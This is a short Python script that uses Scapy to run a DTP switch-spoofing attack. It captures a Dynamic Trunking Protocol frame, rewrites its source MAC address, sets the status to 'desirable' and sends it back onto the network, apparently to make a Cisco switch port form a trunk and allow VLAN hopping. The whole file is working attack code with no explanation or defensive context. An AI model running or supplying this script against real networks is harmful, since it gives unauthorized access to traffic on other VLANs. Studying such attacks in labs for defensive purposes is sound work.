#!/usr/bin/env python3

#Import Scapy

from scapy.all import *

#Import DTP

load_contrib("dtp")

#Capture DTP frame

pkt = sniff(filter="ether dst 01:00:0c:cc:cc:cc",count=1)

#Change the MAC address

pkt[0].src="00:00:00:11:11:11"

#Change to desirable

pkt[0][DTP][DTPStatus].status='\x03'

#Send frame into network

sendp(pkt[0], loop=0, verbose=1)